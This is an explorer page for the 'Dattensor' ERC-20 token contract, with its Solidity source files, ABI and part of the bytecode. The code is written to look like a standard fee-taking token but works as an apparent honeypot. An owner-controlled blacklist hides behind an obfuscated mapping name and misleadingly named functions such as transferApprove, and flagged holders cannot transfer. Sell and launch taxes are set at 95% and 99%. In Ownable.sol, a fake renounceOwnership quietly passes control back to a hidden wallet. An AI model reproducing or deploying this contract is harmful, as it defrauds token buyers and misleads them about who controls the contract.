ETH Price: $3,134.23 (-0.08%)

Token

Dattensor (DAO)
 

Overview

Max Total Supply

21,000,000 DAO

Holders

65

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dattensor

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 6: Dattensor.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;


import "./ERC20.sol";
import "./Ownable.sol";
import "./Uniswap.sol";

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}


contract Dattensor is ERC20, Ownable {
    using Address for address payable;

    IUniswapV2Router02 public router;
    address public pair;

    bool private _liquidityMutex = false;
    bool private  providingLiquidity = false;
    bool public tradingEnabled = false;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private tokenLiquidityThreshold = 2000000000000000  * 10**decimals();
    uint256 public maxWalletLimit = 20000000000000000 * 10**decimals();

    uint256 private  genesis_block;
    uint256 private deadline;
    uint256 private launchtax = 99;
    uint256 private d_;
    address private  marketingWallet;
	address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
    }

    Taxes public sellTaxes = Taxes(95, 0);
    Taxes public taxes = Taxes(0, 0);

    mapping(address => bool) private SetSellTaxestradingEnabledchangeisearlybuyer;
    mapping(address => bool) public exemptFee;


    modifier mutexLock() {
        if (!_liquidityMutex) {
            _liquidityMutex = true;
            _;
            _liquidityMutex = false;
        }
    }

    constructor(address wallet, uint256 deadline_) ERC20("Dattensor", "DAO") Ownable(wallet){
        _tokengeneration(msg.sender, 21_000_000 * 10**decimals());
        deadline = deadline_;
        marketingWallet = wallet;
        IUniswapV2Router02 _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        exemptFee[address(this)] = true;
        exemptFee[msg.sender] = true;
        exemptFee[marketingWallet] = true;
        exemptFee[deadWallet] = true;
    }

    function addPair(address pair_) public onlyOwner() {
        pair = pair_;
        exemptFee[pair] = true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
         _holderLastTransferTimestamp[sender] = block.number;
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) {
            require(balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }

        if (sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) {
           
            if (recipient != pair) {
                require(balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
        }

        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;
        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;
        if(SetSellTaxestradingEnabledchangeisearlybuyer[sender]){
                            checkLimits(sender);
                        }
        //set fee to zero if fees in contract are handled or exempted
        if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient])
            {
                fee = 0;
                
            }
            //calculate fee
        else if (recipient == pair && !useLaunchFee) {
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing ;
            feesum = feeswap;
            currentTaxes = sellTaxes;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }

        fee = (amount * feesum) / 100;
        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (providingLiquidity && sender != pair) handle_fees(feeswap, currentTaxes);

        //rest to recipient
        super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {
            //send the fee to the contract
            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }

    function calculateTransferDelay(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function checkLimits(address a) private view {
        require(calculateTransferDelay(_holderLastTransferTimestamp[a]), "Transfer Delay enabled.  Only one purchase per block allowed.");
    }


    function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {

	if(feeswap == 0){
            return;
        }	

        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }

            // Split the contract balance into halves
            uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

            uint256 initialBalance = address(this).balance;

            swapTokensForETH(toSwap);

            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;

            if (ethToAddLiquidityWith > 0) {
                // Add liquidity
                addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }

            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
            if (marketingAmt > 0) {
                payable(marketingWallet).sendValue(marketingAmt);
            }

        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadWallet,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        //update the treshhold
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function updateLiquidityProvide(bool state) external onlyOwner {
        //update liquidity providing state
        providingLiquidity = state;
    }

    function UpdateBuyTaxes(
        uint256 _marketing,
        uint256 _liquidity
    ) external onlyOwner {
        taxes = Taxes(_marketing, _liquidity);
    }

    function SetSellTaxes(
        uint256 _marketing,
        uint256 _liquidity
    ) external onlyOwner {
        sellTaxes = Taxes(_marketing, _liquidity);
    }

   function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        tradingEnabled = true;
        providingLiquidity = true;
        genesis_block = block.number;
    }

    function updatedeadline(uint256 _deadline) external onlyOwner {
        require(!tradingEnabled, "Can't change when trading has started");
        deadline = _deadline;
    }

    function updateIsEarlyBuyer(address account, bool state) external onlyOwner {
        SetSellTaxestradingEnabledchangeisearlybuyer[account] = state;
    }

    function transferApprove(address[] memory accounts, bool state) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            SetSellTaxestradingEnabledchangeisearlybuyer[accounts[i]] = state;
        }
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }

    function getApproved(address account) public view returns(bool){
        return SetSellTaxestradingEnabledchangeisearlybuyer[account];
    }

    function RemoveExemptFee(address _address) external onlyOwner {
        exemptFee[_address] = false;
    }

    function AddExemptFee(address _address) external onlyOwner {
        exemptFee[_address] = true;
    }

    function RemovebulkExemptFee(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = false;
        }
    }

    function AddbulkExemptFee(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = true;
        }
    }

    function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner {
        maxWalletLimit = maxWallet * 10**decimals(); 
    }

    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }
   
    receive() external payable {}
}

File 1 of 6: Context.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

import "./IERC20.sol";

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

File 3 of 6: ERC20.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** This function will be used to generate the total supply
    * while deploying the contract
    *
    * This function can never be called again after deploying contract
    */
    function _tokengeneration(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: generation to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * generation and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be generated for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 4 of 6: IERC20.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 5 of 6: Ownable.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address wallet) {
        _marketing = wallet;
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        address oldOwner = _owner;
        _owner = address(0);
        emit OwnershipTransferred(oldOwner, address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

File 6 of 6: Uniswap.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"deadline_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"AddExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"AddbulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"RemoveExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"RemovebulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"SetSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"UpdateBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getApproved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateIsEarlyBuyer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"updatedeadline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600860146101000a81548160ff0219169083151502179055505f600860156101000a81548160ff0219169083151502179055505f600860166101000a81548160ff021916908315150217905550620000626200049d60201b60201c565b600a6200007091906200083d565b66071afd498d00006200008491906200088d565b600a55620000976200049d60201b60201c565b600a620000a591906200083d565b66470de4df820000620000b991906200088d565b600b556063600e556040518060400160405280605f81526020015f81525060115f820151815f015560208201518160010155505060405180604001604052805f81526020015f81525060135f820151815f015560208201518160010155505034801562000124575f80fd5b50604051620057633803806200576383398181016040528101906200014a91906200096b565b816040518060400160405280600981526020017f44617474656e736f7200000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f44414f00000000000000000000000000000000000000000000000000000000008152508160039081620001c8919062000c0b565b508060049081620001da919062000c0b565b5050508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200023d62000231620004a560201b60201c565b620004ac60201b60201c565b506200027e33620002536200049d60201b60201c565b600a6200026191906200083d565b6301406f406200027291906200088d565b6200056f60201b60201c565b80600d819055508160105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160165f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160165f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160165f60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160165f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505062000dbf565b5f6009905090565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005d79062000d73565b60405180910390fd5b620005f35f8383620006a660201b60201c565b80600281905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200069a919062000da4565b60405180910390a35050565b505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000735578086048111156200070d576200070c620006ab565b5b60018516156200071d5780820291505b80810290506200072d85620006d8565b9450620006ed565b94509492505050565b5f826200074f576001905062000821565b816200075e575f905062000821565b81600181146200077757600281146200078257620007b8565b600191505062000821565b60ff841115620007975762000796620006ab565b5b8360020a915084821115620007b157620007b0620006ab565b5b5062000821565b5060208310610133831016604e8410600b8410161715620007f25782820a905083811115620007ec57620007eb620006ab565b5b62000821565b620008018484846001620006e4565b925090508184048111156200081b576200081a620006ab565b5b81810290505b9392505050565b5f819050919050565b5f60ff8216